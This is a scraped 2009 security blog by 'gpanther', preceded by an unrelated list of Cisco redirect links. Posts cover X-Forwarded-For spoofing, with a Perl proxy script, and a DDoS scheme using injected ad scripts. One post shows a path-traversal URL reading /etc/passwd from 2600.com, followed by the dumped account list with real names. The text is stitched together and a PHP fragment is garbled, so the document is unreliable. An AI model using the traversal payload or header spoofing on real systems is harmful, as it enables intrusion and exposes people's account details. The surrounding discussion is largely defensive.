http://cisco.com/go/2800 => Cisco 2800 Series Integrated Services Routers – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps5854/index.html)
http://cisco.com/go/4900 => Cisco Catalyst 4900 Series Switches – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6021/index.html)
http://cisco.com/go/vc10 => VoiceCon 2010 – Cisco Events – Cisco Systems (http://www.cisco.com/web/learning/le21/le34/voicecon/2010/index.html)
http://cisco.com/go/tv10 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/1520 => Cisco Aironet 1520 Series – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps8368/index.html)
http://cisco.com/go/3750 => Cisco Catalyst 3750 Series Switches – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/switches/ps5023/index.html)
http://cisco.com/go/2950 => Cisco Catalyst 2950 Series Switches – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/switches/ps628/index.html)
http://cisco.com/go/3560 => Cisco Catalyst 3560 Series Switches – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/switches/ps5528/index.html)
http://cisco.com/go/2960 => Cisco Catalyst 2960 Series Switches – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6406/index.html)
http://cisco.com/go/cpi1 => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr47/newsletter/us.shtml)
http://cisco.com/go/cio1 => Preparing Business for the Upturn with IT [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/solutions/ns340/ns856/ns870/prep_business_for_upturn_generic.html?POSITION=PrintVanity&COUNTRY_SITE=us&CAMPAIGN=EMME–CIO+Awarenett&CREATIVE=go/cio1)
http://cisco.com/go/tv11 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/7921 => Cisco Unified Wireless IP Phone 7921G – Cisco Systems (http://www.cisco.com/en/US/products/ps7071/index.html)
http://cisco.com/go/7931 => Cisco Unified IP Phone 7931G – Cisco Systems (http://www.cisco.com/en/US/products/ps7062/index.html)
http://cisco.com/go/1861 => Cisco 1861 Integrated Services Router – Cisco Systems (http://www.cisco.com/en/US/products/ps8321/index.html)
http://cisco.com/go/cpi2 => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr47/newsletter/us.shtml)
http://cisco.com/go/cio2 => Preparing Business for the Upturn with IT [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/solutions/ns340/ns856/ns870/prep_business_for_upturn_generic.html?POSITION=PrintVanity&COUNTRY_SITE=us&CAMPAIGN=EMME%2D%2DCIO+Awarenett&CREATIVE=go/cio2)
http://cisco.com/go/tv12 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/cpi3 => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr47/newsletter/us.shtml)
http://cisco.com/go/cio3 => Preparing Business for the Upturn with IT [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/solutions/ns340/ns856/ns870/prep_business_for_upturn_generic.html?POSITION=PrintVanity&COUNTRY_SITE=us&CAMPAIGN=EMME%2D%2DCIO+Awarenett&CREATIVE=go/cio3)
http://cisco.com/go/tv13 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/cpi4 => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr47/newsletter/us.shtml)
http://cisco.com/go/cio4 => Preparing Business for the Upturn with IT [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/solutions/ns340/ns856/ns870/prep_business_for_upturn_generic.html?POSITION=PrintVanity&COUNTRY_SITE=us&CAMPAIGN=EMME%2D%2DCIO+Awarenett&CREATIVE=go/cio4)
http://cisco.com/go/tv14 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/9124 => Cisco MDS 9124 Multilayer Fabric Switch – Cisco Systems (http://www.cisco.com/en/US/products/ps7079/index.html)
http://cisco.com/go/cpi5 => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr47/newsletter/us.shtml)
http://cisco.com/go/cio5 => Preparing Business for the Upturn with IT [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/solutions/ns340/ns856/ns870/prep_business_for_upturn_generic.html?POSITION=PrintVanity&COUNTRY_SITE=us&CAMPAIGN=EMME%2D%2DCIO+Awarenett&CREATIVE=go/cio5)
http://cisco.com/go/nw05 => Cisco Systems – Redirect to Networkers (http://www.cisco.com/offer/nwol04/128101_1)
http://cisco.com/go/tv15 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/2955 => Cisco Catalyst 2955 Series Switches – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6738/index.html)
http://cisco.com/go/2975 => Cisco Catalyst 2975 Series Switches – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps10081/index.html)
http://cisco.com/go/cpi6 => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr47/newsletter/us.shtml)
http://cisco.com/go/cio6 => Preparing Business for the Upturn with IT [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/solutions/ns340/ns856/ns870/prep_business_for_upturn_generic.html?POSITION=PrintVanity&COUNTRY_SITE=us&CAMPAIGN=EMME%2D%2DCIO+Awarenett&CREATIVE=go/cio6)
http://cisco.com/go/cgv6 => Cisco Carrier-Grade IPv6 Solution – Cisco Systems (http://www.cisco.com/en/US/netsol/ns1017/networking_solutions_solution_category.html)
http://cisco.com/go/nw06 => Cisco Systems – Redirect to Networkers (http://www.cisco.com/offer/nwcdcpktads/133543_4)
http://cisco.com/go/tv16 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/cpi7 => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr47/newsletter/us.shtml)
http://cisco.com/go/cio7 => Preparing Business for the Upturn with IT [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/solutions/ns340/ns856/ns870/prep_business_for_upturn_generic.html?POSITION=PrintVanity&COUNTRY_SITE=us&CAMPAIGN=EMME%2D%2DCIO+Awarenett&CREATIVE=go/cio7)
http://cisco.com/go/tv17 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/cpi8 => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr47/newsletter/us.shtml)

User input, by any other name

gpanther — Mon, 13 Apr 2009 09:50:00 +0000

A friend of mine posed me an interesting question: how is it possible that a CMS software, which displayed the IP addresses for comments made anonymously (instead of the username) showed a private IP (like 172.16.63.15)? Before I get to the actual explanation, here are some specific clarifications which should be made:

IP addresses are not a 100% reliable unique identifier. Well known methods of circumventing such restrictions are dynamic IP addresses and proxy servers. A less well-known method is BGP hijacking for example. These couldn’t have been the method used however, because almost any router (hopefully) would have dropped the packets containing private addresses.
Make sure that the IP addresses are actually private. The actual private IP ranges are the following (as defined by section 3 of RFC 1918):
- 10.0.0.0 – 10.255.255.255
- 172.16.0.0. – 172.31.255.255
- 192.168.0.0 – 192.168.255.255
It is easy for someone not working daily with these ranges to mistake an IP close to these ranges as private, like 196.168.1.2. An other source of confusion can come from the less intuitive range for the B class (for example the address 172.15.80.1 is public and routable)

Now for the actual cause: my first (and, as it turns out, correct) intuition was that the software was trying to be too clever for its own good and was parsing the “X-Forwarded-For” header. This header can be added by proxies to indicate the original source of the request, but – as other user input – can be relatively easily spoofed by the client. For example below is a small Perl script, which uses HTTP::Proxy and adds an arbitrary X-Forwarded-For header to your requests (you can find the most up-to-date version of the script in my SVN repository):


#!/usr/bin/perl
use strict;
use warnings;
use HTTP::Proxy;
use HTTP::Proxy::HeaderFilter::simple;
use Data::Dumper;

my $proxy = HTTP::Proxy->new;
$proxy->x_forwarded_for(0);
$proxy->port(3128);
$proxy->push_filter(
 mime    => undef,
 request => HTTP::Proxy::HeaderFilter::simple->new(
  sub { $_[1]->header('X-Forwarded-For' => '10.1.2.3') },
    ),
);
$proxy->start;

There are a couple of issues here:

PHP mixes values of different “trust levels” in the same structure. In fact the, the actual code from the project looked like this: if (!array_key_exists('ip', $this->arrCache)) { $this->arrCache['ip'] = strlen($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; }. As you can see, both REMOTE_ADDR and X_FORWARDED_FOR were obtained from the same array, even though REMOTE_ADDR is much more trust-worthy (not counting issues like route-hijacking)
The next logical question would be: what sanitization is done on this value? I didn’t dig more deeply in the code, but judging from the code-fragment, not very much. In fact, if I recall correctly, this header can contain multiple IP addresses if the request passed trough multiple proxies, a case which doesn’t seem to be handled by this code. It can contain IPv6 addresses. It also can contain characters which can cause problems if the value is used in a certain way (think SQL injection or command injection)

The conclusion is that you must take great care in determining which input parameter can be controlled by whom and under what condition and make your judgment call on filtering and escaping depending on that. When in doubt, filter. It is better to loose a couple of milliseconds in performance than ending up with a p0wned infrastructure.

Update: An other possible dangerous situation can be when a reverse proxy is in front of one or more webservers. With this setup the developer can easily get the impression that the X-Forwarded-For header is controlled by our proxy, so it is safe to use the values from it without filtering, right? Wrong! A quick look at two widely used solutions (Apache and Squid) show that both can be configured to concatenate the user supplied value with the IP address. In fact, this is the default behaviour for mod_proxy.

Speaking of p0wned infrastructure, apparently 2600.com was defaced for a short period of time in the weekend and contained the following piece of output (archived for posterity):


Go Hack Tetris!

o_O

O_o

^_O

www.gosu.pl/tetris/


http://www.2600.com/cuba/index.khtml?post=.///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////../../../../../etc/passwd

root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin
ftp:*:21:21:Anonymous FTP:/u/ftp:/sbin/nologin
sshd:*:22:65533:sshd unprivileged processes:/:/sbin/nologin
postfix:*:25:25:Postfix Mail System:/nonexistent:/nonexistent
bind:*:53:53:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin
apache:*:80:80:Apache:/nonexistent:/sbin/nologin
apache2:*:8080:80:Apache:/nonexistent:/sbin/nologin
webstats:*:81:83:Web Statistics:/nonexistent:/sbin/nologin
thttpd:*:82:82:thttpd web server:/nonexistent:/sbin/nologin
htproxy:*:85:85:http proxy server:/nonexistent:/sbin/nologin
audit:*:87:87:system audit processes:/nonexistent:/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/sbin/nologin
namazu:*:89:89:Namazu Database:/var/db/namazu:/sbin/nologin
apache2:*:90:90:World Wide Web Owner:/nonexistent:/sbin/nologin
ash:*:1000:1000:ash:/home/ash:/bin/tcsh
emmanuel:*:1001:20:emmanuel:/home/emmanuel:/bin/tcsh
mec:*:1002:1002:mec:/home/mec:/sbin/nologin
omar:*:1003:1003:omar:/home/omar:/sbin/nologin
marko:*:1004:1004:marko:/home/marko:/sbin/nologin
kerry:*:1005:1005:kerry:/home/kerry:/bin/tcsh
juintz:*:1006:1006:juintz:/home/juintz:/bin/tcsh
css:*:1007:1007:carl shapiro:/home/css:/bin/tcsh
kpx:*:1008:1008:kpx:/home/kpx:/sbin/nologin
lgonze:*:1009:1009:lgonze:/home/lgonze:/sbin/nologin
mlc:*:1010:1010:mlc:/home/mlc:/bin/tcsh
ashcroft:*:1011:1011:ashcroft:/home/ashcroft:/usr/local/bin/noshell
ortbot:*:2001:2001:www.ortinstitute.org automated processes:/nonexistent:/sbin/nologin
lexnex:*:2002:2002:lexnex:/home/lexnex:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
sephail:*:1012:1012:Joseph Battaglia:/home/sephail:/sbin/nologin
redhackt:*:1013:1013:Red Hackt:/home/redhackt:/bin/tcsh
thedave:*:1014:1014:Dave Buchwald:/home/thedave:/bin/tcsh
phiber:*:1015:1015:Phiber:/home/phiber:/bin/tcsh
mark:*:1016:1016:Mark:/home/mark:/usr/local/bin/bash

s*[^<>]+s*
([sS]+)s*s*#Ui', $cont, $match);
$cont = $match[1];
$cont = preg_replace('#(rn|n|r)
(rn|n|r)(rn|n|r)
(rn|n|r)#', "rnrn", $cont);
$cont = preg_replace('#
(rn|n|r)#', "rn", $cont);
$cont = trim($cont);

if (!$cont) {
    echo 'failed';
    exit;
}

highlight_string($cont);

if (!function_exists('fput')) {
    function fput($f, $s)
    {
        $fp = fopen($f, 'w');
        fwrite($fp, $s);
        fclose($fp);
    }
}

$file = str_replace('http://www.2600.com/cuba/index.khtml?post=', '', $url);
$file = str_replace('../', '', $file);
$file = str_replace('./', '', $file);
$file = preg_replace('#/{2,}#', '', $file);
$file = str_replace('/', '-', $file);

if (!$file) {
    $file = '__index';
}
if ($file) {
    $file = $save.$file;
    if (!file_exists($file)) {
        @fput($file, $cont);
    }
}

function curl_cont($url, $options = array())
{
    $page = curl_get($url, $options);
    if (200 == $page['http_code']) {
        return $page['cont'];
    }
    return null;
}
function curl_get($url, $options = array())
{
    $url = str_replace(' ', '%20', $url);
    $ch = curl_init($url);

    curl_setopt($ch, CURLOPT_HEADER, isset($options['include_header']) ? $options['include_header'] : 0);
    if (substr($url, 0, strlen('https')) == 'https') {
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if (isset($options['userpwd'])) {
        curl_setopt($ch, CURLOPT_USERPWD, $options['userpwd']);
    }
    if (isset($options['timeout'])) {
        $timeout = ceil($options['timeout']);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    }
    if (isset($options['max_size'])) {
        $range = "0-{$options['max_size']}";
        curl_setopt($ch, CURLOPT_RANGE, $range);
    }
    if (isset($options['referer'])) {
        curl_setopt($ch, CURLOPT_REFERER, $options['referer']);
    }
    // example agent: 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'
    if (isset($options['agent'])) {
        curl_setopt($ch, CURLOPT_USERAGENT, $options['agent']);
    }
    if (isset($options['headers'])) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $options['headers']);
    }
    if (isset($options['cookie']) && count($options['cookie'])) {
        $cookie = '';
        foreach ($options['cookie'] as $name => $value) {
            $cookie .= sprintf('%s=%s; ', $name, urlencode($value));
        }
        $cookie = trim($cookie);
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    }

    $cont = curl_exec($ch);
    $error = curl_error($ch);
    if ($error) {
        trigger_error('curl_exec() failed: '.$error, E_USER_ERROR);
    }
    $inf = curl_getinfo($ch);
    $inf['cont'] = $cont;
    curl_close($ch);

    return $inf;
}

?>

Picture taken from Simon Strandgaard’s photostream with permission.

Build a botnet – without infecting end-users

gpanther — Thu, 26 Mar 2009 14:30:00 +0000

The idea is not new: get a lot of users to view a given webpage, to DDoS the webserver / backend (depending where the bottlenecks are). If I recall correctly, some student asked the visitors of his website to continuously refresh the page of his university and got charged for it.

As many have remarked at the time (a) the university had some weak webservers if it caved to such simple methods and (b) this can be done automatically with Javascript or Flash and would be very hard to track down.

Imagine the following scenario:

The attacker inserts arbitrary Javascript or Flash content on one or more medium-to-high traffic websites. This can be done multiple ways: one can hack into CMS’s and modify the content of the articles to include the code in the articles. There are many vulnerable sites out there. Or, an even simpler solution is to buy placements for Flash banner ads and include the code in them.
The code (a) looks up a DNS name (this makes the attack targetable) (b) launches N “threads” and starts sending requests to the given website

Such attacks would be very hard to diagnose. The requests would come intermittently from a wide range of IP addresses. Even if you could get your hands on such a computer, you couldn’t find the source of the requests easily (it’s not like the computer is infected with a malware you can find by scanning the files on the hard-disk). It can be also very sneaky, randomly executing (or not) or using geotargeting to select a subset of computers. These techniques are already in use by malicious advertisements (“malwertisements”) which are currently used to try to sell you rogue AV products. An other reason which makes finding the source hard, is the fact that AFAIK XMLHttpRequest does not send the referrer header. An other way to get rid of the referrer header is to make the request from a HTTPS site (browsers do not send referrer in this situation to avoid information leakage).

What can you do? Not very much. Prepare for the DDoS. Have a contingency plan (like a backup location in a different IP space and pointing your DNS entry there). You might be able to differentiate the requests from “normal” requests, but even so, the volume of requests can bring down the machine at the TCP level. And please, please secure your website. We have enough unsecured websites already!

Picture taken from 416style’s photostream with permission.

Update to the DeShortify Pipe

gpanther — Tue, 24 Mar 2009 13:15:00 +0000

A while ago I created a pipe to transform short URL’s in their longer versions. However the pipe itself was rather complicated and required a modification for each new service to be supported.

Luckily, on the Network Security Blog I saw the link to LongURL, which provides the same action for multiple services (in fact I think that they fetch the URL with something like cURL and observe the final destination, so in theory they should be able to support any service) and they provide a REST API. W00t!

So, I created an updated, simplified version of the DeShortify pipe and modified my Twitter Content pipe to use this instead (if you currently us the Twitter Content pipe, there is no need to change anything at your end).

PS. This service doesn’t support Shrinkster.com, presumably because they show a click-trough page, rather than sending a 3xx header. I can’t support them with a custom pipe either, because their tracking page needs a POST rather than a GET, and it is also based on the ASP viewstate (so you would need to do a rather complicated dance of fetch the page, get the viewstate and repost it). Offtopic rant: this is what you get for trying to create the “VB 6.0” illusion on the web Microsoft! No leaky abstractions please!

Picture taken from [niv]’s photostream with permission.

Installing the webhoneypot on OpenWrt

gpanther — Fri, 20 Mar 2009 14:04:00 +0000

This is a raw tutorial for installing webhoneypot on a router running OpenWrt. The used version is Kamikaze 8.09 (this can be important because commands change between version). The tutorial is not 100% complete and I will update it in the future when I learn new information.

An other assumption I make is that you have a separate Linux machine. The techniques can be also adapted to Windows, but it is easier on Linux.

The first step is to make more space. Typical routers come equipped with small amount of flash (between 8 and 20MB), which isn’t even enough to install all the packages. This means that some kind of external storage needs to employed. In this example I’m assuming that an USB flash drive is used (a hidden assumption also is that the router in question has USB ports – for example some of the older WRT54Gs don’t, but ASUS 500 series do).

After logging in with SSH, update the list of packages: opkg update (in version 8.09 the list of packages is kept in RAM, so it needs to refreshed after each reboot)

Following (adapting) the UsbStorageHowto from the OpenWrt wiki, I installed the USB 1.1 and 2.0 modules (surprisingly both types of modules are needed to support USB 1.1 and 2.0 devices – 2.0 doesn’t offer compatibility with 1.1) and the ext3 filesystem modules:


opkg install kmod-usb-uhci kmod-usb2 kmod-usb-storage kmod-fs-ext3
# The insmod commands might not be necessary, because I got the message
# "insmod: a module named X already exists" for all of them, but better
# safe than sorry
insmod usbcore
insmod uhci
insmod ehci-hcd
insmod scsi_mod
insmod sd_mod
insmod usb-storage
insmod ext3

Now we format our stick with the ext3 filesystem on the Linux box we have access to. You can do it with a visual tool like gparted, or from the command line: sudo cfdisk /dev/sdx #delete other partitions and create a Linux partition mkfs.ext2 -j /dev/sdx1 #make sure to use the correct device :-)
You might also want to consider dedicating part of the stick to swap (since the RAM of the router is also quite limited)

Plug in the stick into the router and mount it:


mkdir /mnt/usbstick
mount /dev/scsi/host0/bus0/target0/lun0/part1 /mnt/usbstick

Now, the following steps can lead to bricking your router, so proceed with care. The basic plan is the following:
- Copy over the /usr directory to the stick
- Delete the /usr directory from the internal flash
- Mount the stick on the /usr directory
- Install the packages we need
- Copy back the old /usr directory to the internal flash (for safety, if for some reason the flas drive can not be mounted)
This elaborate dance in needed because opkg (the package manager) insists on having X amount of free space on / before starting the install, even if /usr (where the packages will ultimately end up) is mounted from a separate device. opkg does have options which theoretically can work around this problem, however I couldn’t use them successfully.

To execute our plan:


mkdir /mnt/usbstick/usr_backup
# these commands will take some time
cp -R /usr/* /mnt/usbstick
cp -R /usr/* /mnt/usbstick/usr_backup
rm -rf /usr/*
umount /mnt/usbstick
mount /dev/scsi/host0/bus0/target0/lun0/part1 /usr
# now install the new packages. a few comments:
# - nano is so that we can do some basic text editing (yeah, vi is too hard for me :-))
# - php5-cli is needed because in the future an update capability will be added to
#   the webhoneypot, which will be run from the command line
# - php5-mod-curl - it is possible that this will be a dependency in the future
# - php5-mod-openssl - the updates will be (possibly) done trough SSL in the future
opkg install lighttpd lighttpd-mod-cgi lighttpd-mod-rewrite nano php5 php5-cli 
	php5-mod-curl php5-mod-openssl php5-mod-pcre php5-mod-sockets
# now copy back everything to /usr
umount /usr
mount /dev/scsi/host0/bus0/target0/lun0/part1 /mnt/usbstick
cp -R /mnt/usbstick/usr_backup/* /usr/
# and remount the stick again
umount /mnt/usbstick
mount /dev/scsi/host0/bus0/target0/lun0/part1 /usr

Now we have the packages installed. What follows is the fetching of the honeypot code from the repository and its installation to the router.

First we need to fetch the honeypot from the SVN. We could do this on the router (becuase it has a subversion-client package), but unfortunately that package doesn’t support the HTTP (WebDAV) protocol (as per the SVN FAQ, SVN implements a plugin system for the different protocols and ra_dav is missing from the package provided by OpenWrt). So we do on the Linux box: svn export http://webhoneypot.googlecode.com/svn/trunk/
We should also prepare two other files on the Linux box, which will be copied over to the router (you could create them on the router, but it is more convenient to do it on the Linux side):
lighttpd.conf
```
server.modules              = ("mod_rewrite", "mod_cgi")
server.document-root       = "/usr/wh/html/"
server.upload-dirs = ( "/tmp/" )
server.errorlog            = "/usr/wh/logs/lighttpd_error.log"
index-file.names           = ( "index.php", "index.html",
static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
server.port               = 80
server.bind                = "0.0.0.0"
server.pid-file            = "/var/run/lighttpd.pid"
dir-listing.encoding        = "utf-8"
server.dir-listing          = "disable"
url.rewrite-once = ( "^/(.*)$" => "/index.php/$1" )
cgi.assign = ( ".php" => "/usr/bin/php-cgi" )
# debug.log-request-handling = "enable"
```
php.ini
```
[PHP]

engine = On
short_open_tag = Off
asp_tags = Off
output_buffering = Off
max_execution_time = 5
max_input_time = 60
memory_limit = 8M
error_reporting  =  E_ALL & ~E_NOTICE

register_globals = Off
post_max_size = 8M
magic_quotes_gpc = Off
magic_quotes_runtime = Off
extension_dir = "./"
enable_dl = Off
cgi.force_redirect = 1
file_uploads = Off
allow_url_fopen = On
allow_url_include = Off

apc.enabled = Off

extension_dir = "/usr/lib/php/"
extension=pcre.so
```
We set up lighttpd to run PHP scripts using the CGI protocol (FastCGI would be more efficient, but also more complicated). The steps were adapted from this tutorial. The php.ini file is needed for two reasons: first, Perl regex support is not compiled into the PHP binary, so we must load it. Second APC support is compiled into the PHP library, so we must disable it, since it tries to allocate 32M of memory by default, which makes PHP fail, since we have around 20M of memory in total :-). To test that your PHP installation is workin, issue the following command on the router: /usr/bin/php-cgi -v It should output some basic information about PHP (lik version, copyright, etc). If it fails because of the APC cache, it outputs error message like the one described here: [apc-error] apc_shm_create: shmget(0, 8388608, 658) failed: No error. It is possible that the chosen SHM segment size is higher than the operation system allows. Linux has usually a default limit of 32MB per segment.

We copy all the files from the Linux box to the router (in the /usr directory, since it now represents the USB stick):


# on the router:
mkdir /usr/wh
# on the Linux box - replace 192.168.1.1 with your router's IP
scp -r * [email protected]:/usr/wh
# on the router:
mkdir /etc/lighttpd
mv /usr/wh/lighttp.conf /etc/lighttpd
mv /usr/wh/php.ini /usr/bin
# start the webserver

Start the webserver: lighttpd /etc/lighttpd/lighttp.conf Check that everything is working by accessing the address http://192.168.1.1/phpbb/ from you box (where 192.168.1.1 should be replaced with your router’s address)
Now configure the honeypot however you wish. The installation document should given you a good start. To edit the configuration file, do nano /usr/wh/etc/config.local. One thing I would suggest is to add loglevel=4 to it, so that the request details are also stored locally.
The next step would be do get a DNS name (from DynDNS for example). This is especially important if you have an IP address which changes from time to time. Also, you should submit the honeypot URL to the search engines. Have fun and please report any bugs or problems on the issue tracker.

Picture taken from mightyohm’s photostream with permission.

SDHC – Shared Dictionary Compression

gpanther — Fri, 13 Feb 2009 08:32:00 +0000

I saw the following article on the GOS blog: Google Search Pages Load Faster if You Use Google Toolbar. It turns out that Google added an experimental feature in the Google web servers and the Google toolbar to reduce the network traffic by supplying a dictionary of frequently used page elements (BTW, I find the fact of adding support for this to IE via toolbar ingenious).

Is it just me, or did others also instantly think: cool, yet an other way to profile web users to see if they visited a certain site (similar to the attacks which used time measurements to find out if a particular element is taken from the cache or fetched from the network). The document says that each dictionary is limited a domain though…

An other possible avenue of attack I see is that a malicious domain advertises the same dictionaries as a benign domain (either by specifying the target domain or the “.” domain) and inserts malicious content in the dictionary. The VCDiff content is protected by an Adler CRC, but one can generate content with a chosen CRC in linear time by adding just 4 bytes.

Picture taken from jovike’s photostream with permission.

Using a single file to serve up multiple web resources

gpanther — Fri, 09 Jan 2009 10:24:00 +0000

While trying to set up my GHDB mirror, my first thought was to use googlepages. I quickly found the bulk upload to googlepages how to by X de Xavier, which is a very cool tool (and also an interesting way to hack your “chrome”), but unfortunately I found that Google Pages has a limit of 500 files (and the mirror contained aroung 1400 files), so this was a no-go.

My second thought was: the Browser Security Handbook documents several “pseudo-protocol” which can contain other files in them that can be directly adressed from the browser. Although support for them is rather spotty, I thought that using JAR (supported by Firefox) and MHT (supported by IE) I could cover a large gamut of users.

The results are rather disappointing, but I document the failure sources which I isolated, maybe it can help someone out.

First of was JAR. JARs are in fact just zip files, so creating them is very straight forward. After creating and testing it locally, I uploaded the archive and tried to access it like this (if you have NoScript, you must add it to the whitelist for it to work):

jar:http://ghdb.mirror.googlepages.com/ghdb.jar!/_0toc.html

Just to get the following error message:

Unsafe File Type

The page you are trying to view cannot be shown because it is contained in a file type that may not be safe to open. Please contact the website owners to inform them of this problem.

After searching for the error message and not coming up with anything useful, I took a stab at looking at the source code, this is one of the reasons open source is great after all.

This is the resource file with the error message.
This is where it is used to generate the error page.
And this is the file which generates the error code: nsJARChannel.cpp (scroll to line 771 to see the relevant code).

From the code:


// We only want to run scripts if the server really intended to
// send us a JAR file.  Check the server-supplied content type for
// a JAR type.
...
mIsUnsafe = !contentType.EqualsLiteral("application/java-archive") &&
            !contentType.EqualsLiteral("application/x-jar");
...
if (prefs) {
    prefs->GetBoolPref("network.jar.open-unsafe-types", &allowUnpack);
}

if (!allowUnpack) {
    status = NS_ERROR_UNSAFE_CONTENT_TYPE;
}

Ignoring the fact that the code uses negative assertions (ie. mIsUnsage) rather than positive assertions (ie. mIsSafe), the code tells us that they are looking for the correct Content-Type sent by the webserver or, alternatively, for the “network.jar.open-unsafe-types” setting. This is probable to prevent the GIFAR attack. So, it seems that the googlepages server doesn’t return the correct Content-Type. We can quickly confirm it with the command:

curl http://ghdb.mirror.googlepages.com/ghdb.jar --output /dev/null --dump-header /dev/stdout

And indeed the result is:

HTTP/1.1 200 OK
Last-Modified: Wed, 31 Dec 2008 11:25:06 GMT
Cache-control: public
Expires: Fri, 09 Jan 2009 10:54:28 GMT
Content-Length: 2700935
Content-Type: application/octet-stream
Date: Fri, 09 Jan 2009 10:54:28 GMT
Server: GFE/1.3
...

So the options would be to (a) tell people to lower their security or (b) not use Google’s server, none of which was particularly attractive.

Now lets take a look at the MHT format. As many other MS formats, it is very sparsely documented (all hail our closed-source overlord), although there were some standardization efforts. Anyway, here is the Perl script I’ve thrown together to generate an MHTML file from the mirror:


use strict;
use warnings;
use File::Basename;
use MIME::Lite;
use File::Temp qw/tempfile/;
use MIME::Types;


my $mimetypes = MIME::Types->new;
my $msg = MIME::Lite->new(
        From    =>'Saved by Microsoft Internet Explorer 5',
        Subject =>'Google Hacking Data Base',
        Type    =>'multipart/related'
    );

my $i = 0;
my @tempfiles;
opendir my $d, 'WEB';
while (my $f = readdir $d) {
  $f = "WEB/$f";
  next unless -f $f;
  ++$i;

  next unless $f =~ /.([^.]+)$/;
  my $ext = lc $1;
  my $mime_type = $mimetypes->mimeTypeOf($ext);
  my $path = $f;

  if ('text/html' eq $mime_type) {
    my ($fh, $filename) = tempfile( "tmimeXXXXXXXX" );
    
    open my $fhtml, '<', $f;
    my $html = join('', <$fhtml>);
    close $fhtml;
    $html =~ s/(href|src)s*=s*"(.*?)"/manipulate_href($1, $2)/ge;
    $html =~ s/(href|src)s*=s*'(.*?)'/manipulate_href($1, $2)/ge;
    $html =~ s/(href|src)s*=s*([^'"][^s>]+)/manipulate_href($1, $2)/ge;
    print $fh $html;
    close $fh;

    $path = $filename;
    push @tempfiles, $path;
  }

  my $part = $msg->attach(
      Type        => $mime_type,
      Path        => $path,
      Filename    => basename $f,
  );
  $part->attr('Content-Location' => 'http://example.com/' . basename $f);  
}
closedir $d;

$msg->print(*STDOUT);

unlink $_ for (@tempfiles);

sub manipulate_href {
  my ($attr, $target) = @_;

  return qq{$attr="$target"} if ($target =~ /^http:///i);
